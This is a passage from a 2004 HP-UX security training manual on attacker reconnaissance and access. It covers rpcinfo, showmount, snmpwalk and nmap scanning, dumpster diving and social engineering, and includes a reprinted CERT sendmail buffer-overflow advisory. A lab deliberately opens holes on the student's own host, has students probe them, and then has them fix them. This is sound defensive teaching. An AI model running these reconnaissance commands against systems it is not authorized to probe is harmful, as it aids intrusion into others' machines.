host. See HP's Managing Software with SD-UX reference manual for more information.

H3541S D.02 2-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

2–10. SLIDE: Securing rpcbind and rpc.mountd

Securing rpcbind and rpc.mountd

# rpcinfo -p target.com

Looks like I can 100005 1 udp 49173 mountd

try to exploit some 100005 3 udp 49173 mountd
NFS vulnerabilities 100003 2 udp 2049 nfs
here! 100003 3 udp 2049 nfs

# showmount -e target.com
/home (everyone)
/opt (everyone)
/usr (everyone)

If possible, disable the NFS RPC service.

# /sbin/init.d/nfs.server stop
# vi /etc/rc.config.d/nfsconf
NFS_SERVER=0
START_MOUNTD=0
Don't allow RPC traffic across your firewall!

Student Notes

rpcbind Vulnerabilities
The commonly used NFS and NIS services are both built on a technology developed by Sun
Microsystems called Remote Procedure Calls. RPCs make it possible for client hosts to
execute procedures on a remote server. The RPC requests are initially passed to a daemon
on the server side called rpcbind. rpcbind is responsible for maintaining a list of the RPC
programs available on a host, and for forwarding incoming client RPC requests to the
appropriate server processes. rpcbind is a required daemon on NFS and NIS servers.

Clients can use the rpcinfo command to query a server's rpcbind daemon to determine
which RPCs are available. Unfortunately, hackers sometimes exploit this useful
troubleshooting tool to determine which network services are available on a target host. If
nfs or mountd appear in the rpcinfo output, the hacker may attempt to exploit known
NFS server vulnerabilities. If ypserv appears in the rpcinfo output, the hacker may
attempt to exploit known NIS server vulnerabilities.

http://education.hp.com 2-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

rpc.mountd Vulnerabilities
One of the RPC programs that uses rpcbind is the NFS mount daemon, rpc.mountd.
rpc.mountd is responsible for processing and responding to NFS client mount requests.

Clients oftentimes use the showmount -e command to query an NFS server's rpc.mountd
for a list of available file systems. Since rpc.mountd answers queries from any host,
hackers sometimes use this tool to identify exported NFS file systems that may be
vulnerable.

Solutions
Unfortunately, NFS servers require both of the daemons listed above, and neither daemon
provides any sort of authentication mechanism. At a minimum, prevent RPC traffic from
crossing your firewall. For the best security, though, you should disable both of these
services.

# /sbin/init.d/nfs.server stop
# vi /etc/rc.config.d/nfsconf
NFS_SERVER=0
START_MOUNTD=0

If you aren’t using NFS, you may as well disable the client daemons, too.

# /sbin/init.d/nfs.client stop
# vi /etc/rc.config.d/nfsconf
NFS_CLIENT=0
AUTOMOUNT=0
AUTOFS=0

The Network Information Service, NIS, uses RPCs, too. NIS is notoriously unsecure and
should be disabled if possible.

# /sbin/init.d/nis.server stop
# /sbin/init.d/nis.client stop
# vi /etc/rc.config.d/namesvrs
NIS_MASTER_SERVER=0
NIS_SLAVE_SERVER=0

H3541S D.02 2-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

2–11. SLIDE: Securing snmpdm

Securing snmpdm

I can view all kinds of system information by running snmpwalk!

# snmpwalk -c public -v 1 target.com

sysDescr.0 = STRING: HP-UX target B.11.11 U 9000/800
sysContact.0 = STRING: DMiller
sysName.0 = STRING: target
sysLocation.0 = STRING: Chicago

If possible, disable the SNMP daemons.

# /sbin/init.d/SnmpMaster stop
# vi /etc/rc.config.d/SnmpMaster
SNMP_MASTER_START=0

Define non-default community strings and limit SNMP access by IP.

# vi /etc/snmpd.conf
get-community-name: mygetpassword IP: 10.1.1.1 10.1.1.2
# /sbin/init.d/SnmpMaster stop
# /sbin/init.d/SnmpMaster start

Student Notes
The Simple Network Management Protocol (SNMP) is used by HP Openview and many other
network and system management products to query and manage devices on a network.
Unfortunately, the default SNMP security mechanism is very weak; using tools such as the
contributed software snmpwalk utility, hackers can obtain very detailed information about
your system configuration. The sample output on the slide is just a small portion of the
information that snmpwalk provides. You will have an opportunity to download and install
snmpwalk in the lab exercise at the end of this chapter.

If you don’t use network management software on your network, kill and disable the master
SNMP daemon.

# /sbin/init.d/SnmpMaster stop
# vi /etc/rc.config.d/SnmpMaster
SNMP_MASTER_START=0

http://education.hp.com 2-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

If you can’t kill the daemon entirely, at least change the SNMP community names in
/etc/snmpd.conf. The snmpdm daemon will only respond to queries that are sent with
the appropriate get-community-name (“public”, by default). Setting a non-default
community name provides at least a modicum of security. Also specify the IP addresses of
the SNMP clients that are authorized to query your server.

Clients must provide a valid set-community-name if they wish to make changes to your
system configuration via SNMP. Leave the set-community-name entry in the
configuration file commented out if you wish to disable this functionality. If you must enable
the set-community-name line, be sure to choose a non-default name.

Rerun the SNMP startup script after you make changes to the configuration file.

# vi /etc/snmpd.conf
get-community-name mygetpassword IP 10.1.1.1 10.1.12
set-community-name mysetpassword IP 10.1.1.1
# /sbin/init.d/SnmpMaster stop
# /sbin/init.d/SnmpMaster start

H3541S D.02 2-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

2–12. SLIDE: Gathering Information via Port Scanners

Gathering Information via Port Scanners

Running a port scanner will tell me which applications on my

target are willing to accept network connection requests!

# nmap -P0 -v localhost

Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp

Configure a firewall to prevent outsiders from scanning your hosts.

Disable all unnecessary services.

Student Notes
Port scanners are among the most useful tools in a hacker’s toolkit. A port scanner
systematically sends queries to one or more ports on a target machine, the waits for a
response. If the target sends a response, most port scanners are able to analyze the return
packet to determine which service is answering queries on the targeted port(s). Hackers can
then use this information to decide which types of attacks might be most effective against the
target machine.

nmap is one of the most popular contributed software UNIX port scanners used today. There
are dozens of options for various types of scans. The example on the slide scans all of the
reserved TCP ports on localhost and reports the results verbosely.

The best protection against port scanners is a carefully configured firewall. Also be sure to
disable any network services that aren’t absolutely necessary on your host. This will be
discussed in greater detail later in the course.

http://education.hp.com 2-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

2–13. SLIDE: Gathering Information On-Site

Gathering Information On-Site

I can find all kinds of interesting information in the dumpster ...

• Discarded backup media,
• Policy and procedure manuals,
• Phone directories,
• Printouts of confidential information ...

Develop a physical security plan.

Physically secure your sensitive equipment, media, and data.
Physically secure your network infrastructure.
Control and monitor physical access to your facility.
Physically secure your dumpsters.

Almost any security measure can be overcome if the hacker

can gain physical access to the computer system.

Student Notes
Hackers often visit a target facility. They might appear in a tour of the facilities, sift through
dumpsters after hours, or simply walk right in! Hackers have bypassed physical security in a
variety of ways. They impersonate delivery people, telephone workers, and office equipment
repairmen.
• Develop a physical security plan.

Inventory your assets, and identify potential threats. Document procedures for
controlling access to your facility and resources. Create an emergency response plan.
Document the name and number of the individuals responsible for each major asset, and
each element of the security plan.

• Physically secure your equipment, media, and data.

Any equipment containing sensitive data should be kept in a physically secure area that
isn't accessible to the public. Server rooms should be locked. Printers used to print
sensitive reports should be kept in a secure location. Backup media should be archived
in locked rooms, preferably off-site. Use locks and security cables to secure desktop
systems. Consider investing in surveillance equipment if your data warrants that level of

H3541S D.02 2-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

security. Educate your users to log off when leaving a terminal unattended!

Some organizations avoid glass walls in server rooms to prevent visitors (and potential
hackers!) from observing console messages, hostnames, and documentation that may be
visible in the datacenter. On the other hand, some organizations actually prefer glass
walls so security personnel can more easily monitor activity in server rooms!

• Physically secure your network infrastructure.

If a hacker can gain access to an open network port, he may be able to capture sensitive
information and passwords with a network sniffer. Disable unused LAN ports. Wiring
closets should be locked, and cable runs should be inaccessible to visitors.

• Control and monitor access to your facility.

Require employees and visitors to wear name badges at all times. Keep a log of visitors
entering and leaving your facility. Install surveillance equipment in unmanned entrances
and exits. Encourage your employees to question any suspicious visitors or activities,
especially after hours.

• Physically secure your dumpsters.

Your dumpsters may contain a wealth of material of interest to hackers. Discarded

media, printouts, and documentation may contain system information that could be used
to perpetrate an attack on your systems. Make sure your dumpsters are secure!

http://education.hp.com 2-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

2–14. SLIDE: Gathering Information from People

Gathering Information from People

• Shoulder surfing:
– Crowded areas are prime target locations.
– High-tech methods of eavesdropping may be used.

• Social engineering:
– Hackers prey on people’s natural desire to help.
– Hackers may impersonate support personnel.

• Hacking on the inside:

– Many incidents are perpetrated by current or former employees.

Make sure employees are aware of their security obligations.

Only provide access to your systems on a "need-to-know" basis.
Do background checks on key personnel.

Student Notes
Hackers can overcome even the strongest security measures if your employees aren't
security conscious. Users are generally more willing to share information than their
computers are!

Shoulder Surfing
Hackers may take the opportunity to look over the shoulder of someone who is entering
private information, such as a phone card number, an ATM PIN number, or a password for a
computer system. Careless employees may discuss confidential information in restaurants,
airplanes, and other public areas. Crowded areas are prime locations for this type of activity.

Social Engineering
Social engineering is used by hackers to gain the confidence of a person so that he or she will
give up the information being sought. A successful hacker uses intimidation and preys on
people's natural desire to help others who ask for help. The hacker may target new
employees, or impersonate IT department personnel to obtain usernames, passwords, and
other information from users.

H3541S D.02 2-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

Hacking on the Inside

The 2000 FBI/CSI computer security survey suggested that over 80% of the security
professionals polled said that the attacks that they suffered were "likely" perpetrated by
insiders. Disgruntled employees, former employees, or contractors may maliciously attack
their employers' systems. Be especially alert to the danger of in-house hacking when your
organization is in turmoil as a result of layoffs or re-organizations.

Solutions
Educating your users is the best preventative measure you can take to avoid the problems
cataloged above. Make sure your users are aware of your security policy, and what
information may be shared with whom.

Only provide access to key systems on an "as-needed" basis. Users that are given access to
key systems need to understand the responsibility they have to protect their user account and
password.

Consider performing a background check on key personnel. Only use reputable contractors
when outsourcing work on your systems and network infrastructure.

http://education.hp.com 2-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

2–15. SLIDE: Gathering Information from the Experts

Gathering Information from the Experts

Subscribe to the CERT advisory mailing list.

Subscribe to the HP Security Bulletin mailing list.

I subscribe to all the latest security

newsletters and mailing lists.
Do you??!

Student Notes
Hackers use a variety of resources to keep abreast of developments in the computer field;
you should, too! Some useful resources are listed on the slide.

The Computer Emergency Response Team (CERT) is a federally funded organization that
researches computer security issues. CERT sends out regular updates as new vulnerabilities
are discovered. Go to the CERT website, http://www.cert.org to join their mailing list.

For HP-specific security information, sign-up to receive HP's security bulletins when new HP-
UX vulnerabilities are identified. You can join the mailing list at HP's
http://itrc.hp.com web site.

These are just two of many Internet sites that cover issues of interest to security
administrators. See Appendices D and E in the O'Reilly book for a comprehensive list of
references.

H3541S D.02 2-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

2–16. LAB: Gathering Information about a Target Host

Part I: Preliminary
Fortunately, a default HP-UX install is reasonably secure. This lab will be much more
interesting if you introduce a few security holes on your system. There should be a spoc
script in your /labs/scripts directory that is designed explicitly for this purpose. Run the
script as follows to introduce some vulnerabilities on your host:

# /labs/scripts/spoc -v finger rwhod exports rpc

Part II: Installing snmpwalk

Later in the lab, you will be asked to run the snmpwalk contributed software tool.
Download and install snmpwalk.

1. Download the net-snmp HP-UX 11.11 binaries from http://www.net-snmp.org/ to

your /tmp directory. For the purposes of this class, you can simply copy the file from the
/labs directory.

# cp /labs/net-snmp/net-snmp*.tar.gz /tmp

2. cd to /, then unzip and untar the file. This should install several SNMP utilities, including
snmpwalk, in your /usr/local/bin directory.

# cd /
# gzip –d /tmp/net-snmp*.tar.gz
# tar –xvf /tmp/net-snmp*.tar

3. Verify that snmpwalk works. Specify the default “public” community string, and
generate an SNMP version 1 query. What do you see?

# snmpwalk -c public -v 1 localhost | more

Answer:

http://education.hp.com 2-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

Part III: Installing the nmap Port Scanner

Later in the lab you will be asked to run the nmap port scanner contributed software tool.
Download, compile, and install the utility now before proceeding.

1. Download the nmap source code from

ftp://ftp.cerias.purdue.edu/pub/tools/unix/scanners/nmap/ to your
/tmp directory. For the purposes of this class, you can simply copy the file from the
/labs directory.

# cp /labs/nmap/nmap*.tgz /tmp

2. cd to /usr/local/src and unzip and untar the source files.

# cd /usr/local/src
# gzip –d /tmp/nmap*.tgz
# tar –xvf /tmp/nmap*.tar

3. cd to the nmap source directory.

# cd /usr/local/src/nmap*

4. Build and install nmap.

# ./configure CC=gcc
# make
# make install

5. Run a verbose portscan on your localhost to verify that the tool works!

# nmap –P0 –v localhost

H3541S D.02 2-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

Part IV: Exploring Vulnerabilities

Hackers may obtain a fair amount of information about a target host without even knowing a
username and password. The chart below lists some of the vulnerable commands that we
have discussed over the course of this chapter. Try each command, and record the useful
information that a hacker might glean from each command's output.

Command Useful Information Obtained

telnet localhost
rlogin localhost
ftp localhost

finger @localhost

rwho

rusers localhost

telnet localhost smtp

vrfy user24
expn user23

swlist -l product 'PH*' @localhost

swlist –l patch @localhost
rpcinfo -p localhost

showmount -e localhost

snmpwalk -c public -v 1 localhost

nmap –P0 –v localhost

http://education.hp.com 2-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

Part V: Patching Vulnerabilities

In the previous part of the lab, you discovered that a hacker can obtain a fair amount
information about a target system before entering a single username or password. In this
part of the lab you will attempt to secure some of those vulnerable services.
1. Use the vi editor to create an ominous sounding warning message in /etc/issue.

Answer:

2. Configure telnet, rlogin, and ftp to display your new /etc/issue file as a login
banner message, then test it!

Answer:

3. Configure your warning message to appear on the CDE login screen, too, then test it!
(Remember to remove the “!” comment symbol)

Answer:

4. What can be done to prevent remote hosts from gleaning any useful information about
your user accounts from the finger service? Make it so! Then test your configuration.

Answer:

5. Can you disable the rwhod service to prevent hackers? Make it so! (Note: rwho clients
cache information from rwho broadcasts, so the rwho command may still display
information about your user accounts, even after the rwho server daemon is killed.)

Answer:

H3541S D.02 2-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 2
How the Hacker Gathers Information about a Target System

6. Disabling rwhod doesn't prevent the hacker from obtaining usernames from the rusers
service. How can you avoid the dangers of rusers?

Answer:

7. What can be done to prevent sendmail from leaking usernames to probing hackers?
Make it so!

Answer:

8. How can you prevent remote hackers from listing patches on your system? Make it so!
Then ask your neighbor to attempt to swlist the patches installed on your machine

Answer:

9. How can you make it more difficult for hackers to query your snmpdm daemon? Make it
so! Re-run snmpwalk to verify your work. Ask your neighbor to snmpwalk your system,
too.

Answer:

10. Conceptually, what can be done to minimize the danger posed by port scanners?

Answer:

Part VI: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

http://education.hp.com 2-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 2
How the Hacker Gathers Information about a Target System

H3541S D.02 2-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 3 — How the Hacker Gains Access to a
Target System (Part 1)
Objectives
Upon completion of this module, you will be able to do the following:
• Describe how hackers exploit software bugs to gain access to target systems

• Describe the importance and use of CERT advisory notices

• Describe the importance and use of HP Security Bulletins

• Use HP’s security_patch_check tool to identify missing security patches

• List currently installed software versions and patches

• Download and install security patches

• Prevent buffer overflow security exploits via the executable_stack kernel parameter

• Prevent buffer overflow security exploits via the chatr +es command

http://education.hp.com 3-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–1. SLIDE: The Hacker's Process: Gaining Access to the System

The Hacker’s Process:

Gaining Access to the System

Step 1 Step 2 Step 3 Step 4

Gather Gain access Gain user Perform
information to the access to the unauthorized
about the target target system system activities
system

UNIX
Login:

Student Notes
After gathering information about a target system, the hacker’s next step is to gain access to
the target. Oftentimes hackers accomplish this by exploiting known vulnerabilities and bugs
in the common network services.

This chapter explores some of the tools available to help HP-UX administrators more easily
determine which patches and software updates are required to avoid these vulnerabilities.

H3541S D.02 3-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–2. SLIDE: Gaining Access via Programmatic Bugs

Gaining Access via Programmatic Bugs

Eight* of the ten most frequently exploited UNIX security vulnerabilities

result from outdated software and missing security patches.
Ensuring that your software is up to date is a critical security measure!

Top Ten Most-Exploited UNIX Security Vulnerabilities:

1. Remote Procedure Call (RPCs)*

2. Apache Web Server*
3. Secure Shell (SSH)*
4. Simple Network Management Protocol (SNMP)*
5. File Transfer Protocol*
6. Berkeley r-service trust relationships
7. Line printer daemons*
8. Sendmail*
9. BIND/DNS*
10. Weak passwords

Source: http://www.sans.org/top20/

Student Notes
Every year, the SANS (SysAdmin, Audit, Network, Security) Institute produces a list of the
top ten most exploited security vulnerabilities on Unix and Microsoft platforms. The list on
the slide shows the top ten vulnerabilities that appeared on the 2003 UNIX top ten list. Eight
of the top ten vulnerabilities are partially or wholly due to software bugs. HP and other
vendors produce patches for all of these vulnerabilities, but many overworked system
administrators fail to install these patches in a timely fashion. Since the most exploited
services include DNS, sendmail, SSH, Apache, FTP, and other applications that are
frequently exposed to the public Internet, firewalls offer little protection. Hackers with
sophisticated network scanners are able to easily identify and attack these vulnerable
services.

Installing security patches and updating your software is critical if you wish to maintain a
secure system!

Later in the course, we will discuss each of the vulnerabilities described on the slide in more
detail. The SANS Institute is an excellent source of information about these and many other
vulnerabilities, too. Visit their website at http://www.sans.org for more information.

http://education.hp.com 3-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–3. SLIDE: Subscribing to the CERT Advisory Bulletin

Subscribing to the CERT Advisory Bulletin

Subscribe to the CERT advisory mailing list for regular updates of known problems.
# netscape http://www.cert.org/contact_cert/certmaillist.html
Check the CERT advisory archive for past advisories.
# netscape http://www.kb.cert.org/vuls

Student Notes
One of the best sources of information about computer security incidents and issues is the
CERT® Coordination Center (CERT/CC). CERT/CC is a US federally funded Internet security
research and development center at Carnegie Mellon University.

The CERT/CC publishes an almost-daily update on newly identified security advisories

affecting a wide variety of OSes and applications. Any administrator that is interested in
security should subscribe to this mailing list. Visit
http://www.cert.org/contact_cert/certmaillist.html for more information.

The http://www.cert.org website has also has an archive of past incidents and
vulnerabilities dating back to 1988, and many other computer security resources.

H3541S D.02 3-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–4. SLIDE: Reading CERT Advisory Bulletins

Reading CERT Advisory Bulletins

Read the CERT advisories carefully.

Follow the recommended solutions.
Read the vendor information section for platform-specific information.

CERT® Advisory CA-2003-12 Buffer Overflow in Sendmail

Original release date: March 29, 2003
Last revised: April 29, 2003
Source: CERT/CC
A complete revision history can be found at the end of this file.

Systems Affected
Overview
I. Description
II. Impact
III. Solution
Appendix A. - Vendor Information

Student Notes
When you receive a CERT advisory, read it carefully and follow the recommended
instructions. Every advisory includes several sections.

Systems Affected Lists the platforms, operating systems, and application

versions that are known to be affected by the advisory.

Overview Provides a two or three sentence overview of the

vulnerability, and the potential impact it might have on
your system.

I. Description Provides a detailed description of the vulnerability’s

history, discovery, and cause.

II. Impact Describes in detail the impact the vulnerability may

have on your system(s) if exploited.

http://education.hp.com 3-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

III. Solution Overview of the vulnerability fix. In some cases, a

configuration file may need to be modified. In others, a
patch may be required. See the Vendor Information
section for more platform specific details.

Appendix A. Vendor Information Detailed information from each impacted vendor,

including HP. More detailed HP-UX specific
information, however, may be found in the HP-UX
security bulletins described on the next slide.

Sample CERT Advisory

CERT® Advisory CA-2003-12 Buffer Overflow in Sendmail
Original release date: March 29, 2003
Last revised: April 29, 2003
Source: CERT/CC

A complete revision history can be found at the end of this file.

Systems Affected
Sendmail Pro (all versions)
Sendmail Switch 2.1 prior to 2.1.6
Sendmail Switch 2.2 prior to 2.2.6
Sendmail Switch 3.0 prior to 3.0.4
Sendmail for NT 2.X prior to 2.6.3
Sendmail for NT 3.0 prior to 3.0.4
Systems running open-source sendmail versions prior to 8.12.9,
including UNIX and Linux systems

Overview
There is a vulnerability in sendmail that can be exploited to cause
a denial-of-service condition and could allow a remote attacker to
execute arbitrary code with the privileges of the sendmail daemon,
typically root.

I. Description
There is a remotely exploitable vulnerability in sendmail that could
allow an attacker to gain control of a vulnerable sendmail server.
Address parsing code in sendmail does not adequately check the
length of email addresses. An email message with a specially crafted
address could trigger a stack overflow. This vulnerability was
discovered by Michal Zalewski.

This vulnerability is different than the one described in CA-2003-

07.

Most organizations have a variety of mail transfer agents (MTAs) at

various locations within their network, with at least one exposed to
the Internet. Since sendmail is the most popular MTA, most medium-
sized to large organizations are likely to have at least one
vulnerable sendmail server. In addition, many UNIX and Linux

H3541S D.02 3-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

workstations provide a sendmail implementation that is enabled and

running by default.

This vulnerability is message-oriented as opposed to connection-

oriented. That means that the vulnerability is triggered by the
contents of a specially-crafted email message rather than by lower-
level network traffic. This is important because an MTA that does
not contain the vulnerability will pass the malicious message along
to other MTAs that may be protected at the network level. In other
words, vulnerable sendmail servers on the interior of a network are
still at risk, even if the site's border MTA uses software other
than sendmail. Also, messages capable of exploiting this
vulnerability may pass undetected through many common packet filters
or firewalls.

This vulnerability has been successfully exploited to cause a

denial-of-service condition in a laboratory environment. It is
possible that this vulnerability could be used to execute code on
some vulnerable systems.

The CERT/CC is tracking this issue as VU#897604. This reference

number corresponds to CVE candidate CAN-2003-0161.

For more information, please see

http://www.sendmail.org
http://www.sendmail.org/8.12.9.html
http://www.sendmail.com/security/
For the latest information about this vulnerability, including the
most recent vendor information, please see

http://www.kb.cert.org/vuls/id/897604
This vulnerability is distinct from VU#398025.

II. Impact
Successful exploitation of this vulnerability may cause a denial-of-
service condition or allow an attacker to gain the privileges of the
sendmail daemon, typically root. Even vulnerable sendmail servers on
the interior of a given network may be at risk since the
vulnerability is triggered by the contents of a malicious email
message.

III. Solution
Apply a patch from Sendmail Inc.
Sendmail has produced patches for versions 8.9, 8.10, 8.11, and
8.12. However, the vulnerability also exists in earlier versions of
the code; therefore, site administrators using an earlier version
are encouraged to upgrade to 8.12.9. These patches, and a signature
file, are located at

ftp://ftp.sendmail.org/pub/sendmail/prescan.tar.gz.uu

http://education.hp.com 3-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

ftp://ftp.sendmail.org/pub/sendmail/prescan.tar.gz.uu.asc
Apply a patch from your vendor
Many vendors include vulnerable sendmail servers as part of their
software distributions. We have notified vendors of this
vulnerability and recorded the statements they provided in Appendix
A of this advisory. The most recent vendor information can be found
in the systems affected section of VU#897604.

Enable the RunAsUser option

There is no known workaround for this vulnerability. Until a patch
can be applied, you may wish to set the RunAsUser option to reduce
the impact of this vulnerability. As a good general practice, the
CERT/CC recommends limiting the privileges of an application or
service whenever possible.

Appendix A. - Vendor Information

This appendix contains information provided by vendors for this
advisory. As vendors report new information to the CERT/CC, we will
update this section and note the changes in our revision history. If
a particular vendor is not listed below, we have not received their
comments.

Apple Computer Inc.

Apple has released Mac OS X 10.2.5 which includes the patch from the
sendmail team for this vulnerability.

Conectiva
Conectiva Linux 6.0, 7.0 and 8 contain sendmail and are vulnerable
to this issue, even though sendmail is no longer the default MTA in
our distribution. Updated packages will be announced to our mailing
lists when ready.

Cray
Cray Inc. may be vulnerable and has opened sprs 725085 and 725086 to
investigate.

Hewlett-Packard
SOURCE: Hewlett-Packard Company HP Services Software Security
Response Team

x-ref: SSRT3531 [HPSBUX0304-253, HPSBMP0304-018]

At the time of writing this document, Hewlett Packard is currently

investigating the potential impact to HP's released Operating System
software products.

As further information becomes available HP will provide notice of

the availability of any necessary patches through standard security
bulletin announcements and be available from your normal HP Services
support channel.

IBM

H3541S D.02 3-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

The AIX operating system is vulnerable to sendmail buffer overflow

attack mentioned in CERT Advisory CA-2003-12 and CERT Vulnerability
Note VU# 897604.

An efix is available from:

ftp://ftp.software.ibm.com/aix/efixes/security/sendmail_2_efix.tar.Z

The APAR numbers and availability dated for this issue are as
follows:
APAR number for AIX 4.3.3: IY42629 (available approx. 05/07/2003)
APAR number for AIX 5.1.0: IY42630 (available approx. 04/28/2003)
APAR number for AIX 5.2.0: IY42631 (available approx. 04/28/2003)

The APARs can be downloaded using the URL below and then following
the links for your AIX release level.

http://techsupport.services.ibm.com/server/fixes?view=pSeries

For more information please contact your AIX Support Center.

Lotus
Lotus products are not vulnerable to this problem.

Mirapoint
Mirapoint has corrected this problem. Details of the update
(D3_SMTP_CERT_2003_12) can be found on the Mirapoint secure support
center.

Nortel Networks
The following Nortel Networks Wireless products are potentially
affected by the vulnerabilities identified in CERT Advisory CA-2003-
12:
SS7 IP Gateway.
Nortel Networks recommends disabling Sendmail as it is not used.
Wireless Preside OAM&P Main Server.
Sendmail should not be disabled on these products.
The following Nortel Networks Enterprise Voice IVR products are
potentially affected by the vulnerabilities identified in CERT
Advisory CA-2003-12:
MPS1000
MPS500
VPS
CTX
All the above products deploy Sendmail; it should not be disabled on
these products.
For all of the above products Nortel Networks recommends applying
the latest Sun Microsystems patches in accordance with that vendor's
recommendations. To avoid applying patches twice, please ensure that
the Sun Microsystems patch applied also addresses the vulnerability
identified in CERT Advisory CA-2003-07.

http://education.hp.com 3-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

The following Nortel Networks Succession products are potentially

affected by the vulnerability identified in CERT Advisory CA-2003-
12:

SSPFS-based CS2000 Management Tools

GWC Element Manager and QoS Collector Application (QCA)
SAM21 Element Manager
Audio Provisioning Server (APS) and APS client GUI
UAS Element Manager
Succession Media Gateway 9000 Element Manager (Mid-Tier and Server)
Network Patch Manager (NPM)
Nodes Configuration, Trunk Configuration, Carrier Endpoint
Configuration, Lines Configuration (Servord+), Trunk Maintenance
Manager, Lines Maintenance Manager, Line Test Manager, V5.2
Configuration and Maintenance, PM Poller, EMS Proxy Services, and
Common Application Launch Point
A product bulletin will be issued shortly.

Sendmail has been disabled in SN06 and therefore SN06 is not

vulnerable. A patch for SN05 is currently under development that
will disable Sendmail in SN05 so that it will not be affected by the
vulnerability identified in CERT Advisory CA-2003-12. The
availability date for the SN05 patch is still to be determined.

For more information please contact Nortel at:

North America: 1-800-4NORTEL or 1-800-466-7835

Europe, Middle East and Africa: 00800 8008 9009, or +44 (0) 870 907
9009
Contacts for other regions are available at
<http://www.nortelnetworks.com/help/contact/global/>

Red Hat Inc.

Red Hat distributes sendmail in all Red Hat Linux distributions.
Updated sendmail packages that contain patches to correct this
vulnerability are available along with our advisory at the URLs
below. Users of the Red Hat Network can update their systems using
the 'up2date' tool.

Red Hat Linux:

http://rhn.redhat.com/errata/RHSA-2003-120.html
Red Hat Enterprise Linux:

http://rhn.redhat.com/errata/RHSA-2003-121.html
The Sendmail Consortium
The Sendmail Consortium recommends that sites upgrade to 8.12.9
whenever possible. Alternatively, patches are available for 8.9,
8.10, 8.11, and 8.12 on http://www.sendmail.org/.

Sendmail Inc.

H3541S D.02 3-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

All commercial releases including Sendmail Switch, Sendmail Advanced

Message Server (which includes the Sendmail Switch MTA), Sendmail
for NT, and Sendmail Pro are affected by this issue. Patch
information is available at http://www.sendmail.com/security/.

Sequent (IBM)
For information please contact IBM Service at 1-800-IBM-SERV.

SGI
SGI acknowledges receiving CERT VU#897604 and is currently
investigating. This is being tracked as SGI Bug# 886104. No further
information is available at this time.

For the protection of all our customers, SGI does not disclose,
discuss or confirm vulnerabilities until a full investigation has
occurred and any necessary patch(es) or release streams are
available for all vulnerable and supported SGI operating systems.
Until SGI has more definitive information to provide, customers are
encouraged to assume all security vulnerabilities as exploitable and
take appropriate steps according to local site security policies and
requirements. As further information becomes available, additional
advisories will be issued via the normal SGI security information
distribution methods including the wiretap mailing list on
http://www.sgi.com/support/security/
[20030401-01-P]

Sun Microsystems Inc.

Solaris 2.6, 7, 8 and 9 are vulnerable to VU#897604.

Sun will be publishing a Sun Alert for the issue at the following
location shortly:

http://sunsolve.Sun.COM/pub-cgi/retrieve.pl?doc=fsalert/52620

The Sun Alert will be updated with the patch information as soon as
the patches are available.

At that time, the patches listed in the Sun Alert will be available
from:

http://sunsolve.sun.com/securitypatch

Wind River Systems Inc.

This vulnerability is addressed by the M500-008 patch for Platform
for Server Appliances 1.0 or BSD/OS 5.0 based systems. The M31--005
patch addresses this problem for BSD/OS 4.3.1 or 4.3 systems, and
the M420-034 addresses this problem for BSD/OS 4.2 based systems.

--------------------------------------------------------------------

http://education.hp.com 3-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

Our thanks to Eric Allman, Claus Assmann, Greg Shapiro, and Dave
Anderson of Sendmail for reporting this problem and for their
assistance in coordinating the response to this problem. We also
